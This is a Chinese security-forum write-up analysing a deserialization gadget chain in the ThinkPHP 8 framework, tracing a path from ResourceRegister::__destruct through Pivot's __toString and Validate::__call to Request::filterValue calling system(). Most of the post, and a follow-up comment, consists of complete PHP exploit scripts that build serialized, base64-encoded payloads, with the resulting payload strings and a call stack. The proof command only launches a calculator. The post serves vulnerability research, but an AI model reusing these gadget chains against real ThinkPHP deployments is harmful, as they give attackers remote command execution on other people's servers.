thinkphp8 反序列化分析
tj 发表于 四川 历史精选 2507浏览 · 2024-07-23 14:46

thinkphp8 反序列化分析

最近看到一篇thinkphp8的反序列化文章,想来我也跟着Nivia师傅分析一波,
作者原文:https://xz.aliyun.com/t/14904
(调试的时候白天用的是win,晚上用的是mac,所以调试payload时注意更改执行命令)

寻找source点

使用php8运行,
composer create-project topthink/think thinkphp8

phpstudy下载php8,它的php8配置了debug3,因此配置与debug2不同,

[Xdebug]
zend_extension = "D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\Extensions\php\php8.0.2nts\ext\php_xdebug.dll"
;是否开启调试
xdebug.mode= "debug"
xdebug.remote_handler = "dbgp" 
xdebug.idekey="PHPSTORM"
;由remote_host替换过来了,就写本机的就行
xdebug.client_host="127.0.0.1"
;由remote_port替换过来了,调试端口
xdebug.client_port=9001     
xdebug.start_with_request=yes
xdebug.log_level=debug

php静态代码审计工具:https://github.com/LoRexxar/Kunlun-M,
php7在解释执行时会生成AST语法树,可以分析语法树来查询相关的source/flow/sink,
初始化数据库,默认采用sqlite作为数据库
python kunlun.py init initialize

(每次修改规则文件都需要加载)
python kunlun.py config load # 加载rule进数据库
python kunlun.py config recover # 将数据库中的rule恢复到文件
python kunlun.py config loadtamper # 加载tamper进数据库
python kunlun.py config retamper # 将数据库中的tamper恢复到文件

python kunlun.py show rule # 展示所有的rule
python kunlun.py show rule -k php # 展示所有php的rule
python kunlun.py show tamper # 展示所有的tamper

扫描漏洞,

python kunlun.py scan -t D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\thinkphp8

一个自动化寻找php反序列化链的简单模型
python .\kunlun.py plugin php_unserialize_chain_tools -t D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\thinkphp8

用于解决在审计大量的php代码时,快速发现存在可能的入口页面
python .\kunlun.py plugin entrance_finder -t D:\nettools\phpstudy\phpStudy_64\phpstudy_pro\WWW\thinkphp8 -l 3

使用 php_unserialize_chain_tool插件,可以看到这里是以__destruct为source开展的分析,

利用Kunlun-M寻找php反序列化链,扫出来了一条链,这里的入口是对的,ResourceRegister类的call魔法函数,此插件是根据source的可控变量来分析的,因此入口基本上是没啥问题的,不过此条链调用call_user_func_array的参数有一部分不可控(在分析Nivia师傅的文章之前,没有分析出来,还是自己太菜,一直在想怎么利用到扫描结果中的call_user_func_array函数,最后不得不去分析Nivia师傅的文章,最终发现触发点在toString()),

寻找sink点一(失败)

thinkphp8多应用配置,
config/app.php
'auto_multi_app'   => true,

在项目根目录上执行,
composer require topthink/think-multi-app
php think build Payload

打开thinkphp8调式模式,

分析了Nivia师傅的文章后,发现是在parseGroupRule函数中利用toString()最终触发了Validate类中的call,

那么我们先分析一下Validate类的__call函数怎么触发命令执行的,
可以发现这是调用_call->call_user_func_array->is->call_user_func_array,

开始寻找call_user_func_array能触发命令执行的位置,可以发现存在四处,



但是以上四处都参没有完全可控,因为Validate类的is函数中的call_user_func_array的第二个参数被[]包围了,转化为了数组,虽然第一个参数可控,能调用任意类的任意函数,但是传入函数的参数只有一个,并且类型还是数组类型才行,

实验脚本如下:
这里尝试的是Arr类的first函数中的call_user_func,
/thinkphp8/app/Payload/model/Shiyan.php,

<?php

namespace app\Payload\model;
use think\Validate;

class Shiyan
{
    public $validate;

    public function __construct()
    {
        $this->aaa = 1;
    }

    public function __destruct()
    {

        $this->validate->aaa([array(
            0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            2 => array("pipe", "w")   // stderr is a pipe that the child will write to
        ), "open -a Calculator"], "aaa", ['proc_open']);
    }
}

/thinkphp8/public/payload.php,访问http://127.0.0.1/payload.php,

<?php



namespace think;
use think\helper\arr;

class Request
{
    protected $cookie = [];
    public function __construct()
    {
        $this->cookie = ["open -a Calculator"];
    }
}

class Validate
{
    protected $field = [];
    protected $type = [];
    public function __construct()
    {
        $this->field = ['ddd'];
        $this->type = ['aaa'=>[new Arr(), 'first']];
    }
}

namespace think\helper;
class Arr
{
    public function __construct()
    {
    }
}

namespace app\Payload\model;
use think\Request;
use think\Validate;
class Shiyan
{
    public $validate;
    public function __construct()
    {
        $this->validate = new Validate();
    }
}


use app\Payload\model\shiyan;

$shiyan = new Shiyan();
$payload = urlencode(base64_encode(serialize($shiyan)));
echo $payload;




?>

/thinkphp8/app/Payload/controller/Index.php,访问http://127.0.0.1/index.php/payload/index/exec,

<?php
declare (strict_types = 1);

namespace app\Payload\controller;

use think\Request;

class Index
{
    public function index()
    {
        return '您好!这是一个[Payload]示例应用';
    }

    public function hello()
    {
        //$request = new Request();
        //$argc = ["s", "open -a Calculator", "system"];

        $descriptorspec = array(
            0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
            1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
            2 => array("pipe", "w")   // stderr is a pipe that the child will write to
        );

        $process = proc_open('open -a Calculator', $descriptorspec, $a);

        //call_user_func('system', 'open -a Calculator', null);
        //call_user_func_array([new Request(), "cookie"], [$argc]);
        return '您好!这是一个[hello]示例应用';
    }
    public function exec()
    {
        $exec = "TzoyNDoiYXBwXFBheWxvYWRcbW9kZWxcU2hpeWFuIjoxOntzOjg6InZhbGlkYXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6Mjp7czo4OiIAKgBmaWVsZCI7YToxOntpOjA7czozOiJkZGQiO31zOjc6IgAqAHR5cGUiO2E6MTp7czozOiJhYWEiO2E6Mjp7aTowO086MTY6InRoaW5rXGhlbHBlclxBcnIiOjA6e31pOjE7czo1OiJmaXJzdCI7fX19fQ%3D%3D";

        unserialize(base64_decode(urldecode($exec)));
    }

}

可以发现任意调用函数的第一个参数强制转化成数组,后面调用first函数时的参数就只有第一个可控,所以利用失败,

注意这里的is函数的第三个参数为数组类型,

没办法,此时又不得不去看看Nivia师傅的思路了,他首先想到的是利用php自带的反射型函数,并且第一个参数也为数组类型,不过php的内部类不能被序列化,然后想到了用toString去触发相关函数,
使用方法如下:

<?php
function myFunction($param1, $param2) {
    return $param1 + $param2;
}

$reflectionFunction = new ReflectionFunction('myFunction');
$result = $reflectionFunction->invokeArgs([2, 3]);
echo $result;  // 输出: 5
?>

寻找sink点二(成功)

寻找调用filterValue的函数,因为这里的第一个参数为&$value,引用的值,

存在两处调用filter函数的地方,

在cookie函数中,$this->cookie可控,getData函数中的返回值就可控,

在getFilter函数中,$this->filter可控,返回值就可控,

因此在cookie函数中,调用了filterValue函数,其中三个参数都可控,

开始调试,
/tinkphp8/app/Payload/model/Shiyan.php

<?php

namespace app\Payload\model;
use think\Validate;

class Shiyan
{
    public $validate;

    public function __construct()
    {
        $this->aaa = 1;
    }

    public function __destruct()
    {

        $this->validate->aaa("qqq");
    }
}

/thinkphp8/app/Payload/controller/Index.php

<?php
declare (strict_types = 1);

namespace app\Payload\controller;

use think\Request;

class Index
{
    public function index()
    {
        return '您好!这是一个[Payload]示例应用';
    }

    public function hello()
    {
        //$request = new Request();
        //$argc = ["s", "open -a Calculator", "system"];

        $descriptorspec = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w")
        );

        $descriptorspec = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w")
        );

        echo $descriptorspec;
        echo "<br>";
        //echo [$descriptorspec];

        $process = proc_open('open -a Calculator', $descriptorspec, $a);

        //call_user_func('system', 'open -a Calculator', null);
        //call_user_func_array([new Request(), "cookie"], [$argc]);
        return '您好!这是一个[hello]示例应用';
    }
    public function exec()
    {
        $exec = "TzoyNDoiYXBwXFBheWxvYWRcbW9kZWxcU2hpeWFuIjoxOntzOjg6InZhbGlkYXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6Mjp7czo4OiIAKgBmaWVsZCI7YToxOntpOjA7czozOiJkZGQiO31zOjc6IgAqAHR5cGUiO2E6MTp7czozOiJhYWEiO2E6Mjp7aTowO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6OToiACoAY29va2llIjthOjE6e3M6MzoicXFxIjtzOjg6ImNhbGMuZXhlIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9aToxO3M6NjoiY29va2llIjt9fX19";

        unserialize(base64_decode(urldecode($exec)));
    }

}

/thinkphp8/public/payload.php

<?php

namespace think;

class Request
{
    protected $cookie = [];
    protected $filter;

    public function __construct()
    {
        $this->cookie = ["qqq" => "open -a Calculator"];
        $this->filter = "system";
    }
}

class Validate
{
    protected $field = [];
    protected $type = [];
    public function __construct()
    {
        $this->field = ['ddd'];
        $this->type = ['aaa'=>[new Request(), 'cookie']];
    }
}


namespace app\Payload\model;
use think\validate;
class Shiyan
{
    public $validate;
    public function __construct()
    {
        $this->validate = new Validate();
    }
}


use app\Payload\model\shiyan;

$shiyan = new Shiyan();
$payload = urlencode(base64_encode(serialize($shiyan)));
echo $payload;

?>

调用过程,



寻找flow(中间执行流)

我们之前在Shiyan.php中自定义了一个漏洞类,
所以现在我们需要寻找的flow的条件就有以下几点:
1.类可控(调用函数不需要可控)
2.第一个参数可控
3.通过toString调用链触发

存在以下几处toString最有可能符合以上条件,


这里的build函数中有$rule = $this->route->getName($checkName, $checkDomain);,
�不过$this->route的类型在构造函数已经定义了,


会报参数的类型错误,


以上的toString都不能满足条件,只有此类调用的__toString链满足条件,

gadget:
payload.php

<?php



namespace think;
use model\concern\RelationShip;

class Request
{
    protected $cookie = [];
    protected $filter;

    public function __construct()
    {
        $this->cookie = ["1" => "open -a Calculator"];
        $this->filter = "system";
    }
}

namespace think;
use think\Request;
class Validate
{
    protected $field = [];
    protected $type = [];
    public function __construct()
    {
        $this->field = ['ddd'];
        $this->type = ['visible'=>[new Request(), 'cookie']];
    }
}

namespace think\model;
use think\Validate;
class Pivot
{
    protected $append = [];
    private $relation = [];
    protected $visible = [];
    protected $name;
    public function __construct()
    {
        $this->append = ["eee" => "yyy.ttt"];
        $this->relation = ["yyy" => new Validate()];
        $this->visible = ["yyy" => "yyy"];
        $this->name = "uuu";

    }
}

namespace think\model\concern;
trait Conversion
{
    protected $resultSetType;
    public function __construct()
    {
        $this->resultSetType = "iii";
    }
}


namespace app\Payload\model;
use think\validate;
use think\Model\Pivot;
class Shiyan
{
    public $validate;
    public $shiyan_1;
    public function __construct()
    {
        $this->validate = new Validate();
        $this->shiyan_1 = new Pivot();
    }
}

use app\Payload\model\shiyan;

$shiyan_2 = new Shiyan();
$payload_2 = urlencode(base64_encode(serialize($shiyan_2)));
echo $payload_2;


?>

index.php

?php
declare (strict_types = 1);

namespace app\Payload\controller;

use think\Request;

class Index
{
    public function index()
    {
        return '您好!这是一个[Payload]示例应用';
    }

    public function hello()
    {

        //return '您好!这是一个[hello]示例应用';
    }
    public function exec()
    {
        $exec = "TzoyNDoiYXBwXFBheWxvYWRcbW9kZWxcU2hpeWFuIjoyOntzOjg6InZhbGlkYXRlIjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6Mjp7czo4OiIAKgBmaWVsZCI7YToxOntpOjA7czozOiJkZGQiO31zOjc6IgAqAHR5cGUiO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoyOntzOjk6IgAqAGNvb2tpZSI7YToxOntpOjE7czoxODoib3BlbiAtYSBDYWxjdWxhdG9yIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9aToxO3M6NjoiY29va2llIjt9fX1zOjg6InNoaXlhbl8xIjtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NDp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJlZWUiO3M6NzoieXl5LnR0dCI7fXM6Mjc6IgB0aGlua1xtb2RlbFxQaXZvdAByZWxhdGlvbiI7YToxOntzOjM6Inl5eSI7TzoxNDoidGhpbmtcVmFsaWRhdGUiOjI6e3M6ODoiACoAZmllbGQiO2E6MTp7aTowO3M6MzoiZGRkIjt9czo3OiIAKgB0eXBlIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mjp7czo5OiIAKgBjb29raWUiO2E6MTp7aToxO3M6MTg6Im9wZW4gLWEgQ2FsY3VsYXRvciI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7fWk6MTtzOjY6ImNvb2tpZSI7fX19fXM6MTA6IgAqAHZpc2libGUiO2E6MTp7czozOiJ5eXkiO3M6MzoieXl5Ijt9czo3OiIAKgBuYW1lIjtzOjM6InV1dSI7fX0%3D";

        unserialize(base64_decode(urldecode($exec)));
    }

}

调用过程:
Conversion中的__toString最终能执行到$relation->visible($visible[$key]);,我们只要控制$relation和$visible[$key],就能达到命令执行,




但是Conversion被trait修饰,是代码复用的一种类型,不能被实例化,因此需要寻找谁使用了它,
�可以发现Pivot使用了此类,并且也只有此类存在__toStrring函数,刚好能触发到toStriing,

此部分完整调用链:






最终结合sink点,达到命令执行的效果,

组合source+flow+sink

ResourceRegister类中有许多触发__toString的点,

将我们自定义的触发类Shiyan替换成ResourceRegister类中的触发条件,将$option['var'][$val]的值赋值为
�new Pivot(),整条链子就闭合完成,
payload.php

<?php

namespace think;
use model\concern\RelationShip;

class Request
{
    protected $cookie = [];
    protected $filter;

    public function __construct()
    {
        $this->cookie = ["1" => "open -a Calculator"];
        $this->filter = "system";
    }
}

namespace think;
use think\Request;
class Validate
{
    protected $field = [];
    protected $type = [];
    public function __construct()
    {
        $this->field = ['ddd'];
        $this->type = ['visible'=>[new Request(), 'cookie']];
    }
}

namespace think\model;
use think\Validate;
class Pivot
{
    protected $append = [];
    private $relation = [];
    protected $visible = [];
    protected $name;
    public function __construct()
    {
        $this->append = ["eee" => "yyy.ttt"];
        $this->relation = ["yyy" => new Validate()];
        $this->visible = ["yyy" => "yyy"];
        $this->name = "uuu";

    }
}

namespace think\model\concern;
trait Conversion
{
    protected $resultSetType;
    public function __construct()
    {
        $this->resultSetType = "iii";
    }
}



namespace think\route;
use think\model\Pivot;
class Resource
{
    protected $rule;
    protected $option = [];
    public function __construct()
    {
        $this->rule = "ppp.sss";
        $this->option = ["var" => ["ppp" => new Pivot()]];
    }
}

class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
}


use think\route\ResourceRegister;
$shiyan_3 = new ResourceRegister();
$payload_3 = urlencode(base64_encode(serialize($shiyan_3)));
echo $payload_3;


?>

堆栈如下:

Request.php:1406, think\Request->filterValue()
Request.php:1123, think\Request->cookie()
Validate.php:836, call_user_func_array:{/Applications/XAMPP/xamppfiles/htdocs/thinkphp8/vendor/topthink/framework/src/think/Validate.php:836}()
Validate.php:836, think\Validate->think\{closure:/Applications/XAMPP/xamppfiles/htdocs/thinkphp8/vendor/topthink/framework/src/think/Validate.php:833-849}()
Validate.php:864, think\Validate->is()
Validate.php:1700, call_user_func_array:{/Applications/XAMPP/xamppfiles/htdocs/thinkphp8/vendor/topthink/framework/src/think/Validate.php:1700}()
Validate.php:1700, think\Validate->__call()
Conversion.php:321, think\Model->getRelationWith()
Conversion.php:306, think\Model->appendAttrToArray()
Conversion.php:252, think\Model->toArray()
Conversion.php:366, think\Model->toJson()
Conversion.php:371, think\Model->__toString()
Resource.php:96, think\route\Resource->parseGroupRule()
ResourceRegister.php:51, think\route\ResourceRegister->register()
ResourceRegister.php:69, think\route\ResourceRegister->__destruct()

总结:
1.思路很重要,构造数据不是那么麻烦,还是需要熟悉php各种魔法函数的触发条件
2.分析复杂的利用链时,可以先自己尝试去分析,遇到解决不了的,才去看师傅们的思路,可以拆分多个步骤来分析
3.如果利用AST去分析应该可以节省大量时间,不过Kunlun-M的反序列化插件没有仔细的说明,需要去了解此插件利用AST的自定义查询语句,才能去自定义我们想要的查询功能,如java的静态分析工具tabby或者时codeql的功能

3 条评论
某人
表情
可输入 255
tj
2024-08-03 09:13 四川 0 回复

Unam4哥,我害得多练练


Unam4
2024-08-01 12:13 浙江 0 回复

tj哥。不得换最新版,找新的flow在水新的cve


tj
2024-07-27 12:59 四川 0 回复

以上是用mac调试后放到语雀上面,然后最终的payload被空白符干扰,导致win上面会运行错误,

以下是win上面的payload


<?php
namespace think;
class Request
{
protected $cookie = [];
protected $filter;

public function __construct()
{
$this->cookie = ["1" => "calc.exe"];
$this->filter = "system";
}
}

namespace think;
use think\Request;
class Validate
{
protected $field = [];
protected $type = [];
public function __construct()
{
$this->field = ['ddd'];
$this->type = ['visible'=>[new Request(), 'cookie']];
}
}


namespace think\model;
use think\Validate;
class Pivot
{
protected $append = [];

protected $visible = [];
protected $name;

public function __construct()
{
$this->append = ["eee" => "yyy.ttt"];
$this->relation = ["yyy" => new Validate()];
$this->visible = ["yyy" => "yyy"];
$this->name = "uuu";
$this->resultSetType = "iii";

}
}

namespace think\route;
use think\model\Pivot;
class Resource
{
protected $rule;
protected $option = [];
public function __construct()
{
$this->rule = "ppp.sss";
$this->option = ["var" => ["ppp" => new Pivot()]];
}
}

class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
}


use think\route\ResourceRegister;
$shiyan_3 = new ResourceRegister();
$payload_3 = urlencode(base64_encode(serialize($shiyan_3)));
echo $payload_3;


?>